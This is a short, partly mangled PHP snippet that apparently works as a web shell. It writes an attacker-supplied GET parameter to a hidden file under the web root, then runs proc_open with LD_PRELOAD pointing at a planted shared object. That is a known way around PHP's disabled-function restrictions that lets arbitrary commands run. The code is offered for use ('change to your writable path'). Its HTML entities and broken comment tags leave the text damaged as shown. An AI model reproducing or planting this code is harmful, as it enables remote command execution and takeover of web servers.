<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"),
 1 =&gt; array("file", $path."/output.txt","w"),
 2 =&gt; array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' =&gt; $path."/a.so");
$process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
?&gt;;
</strong>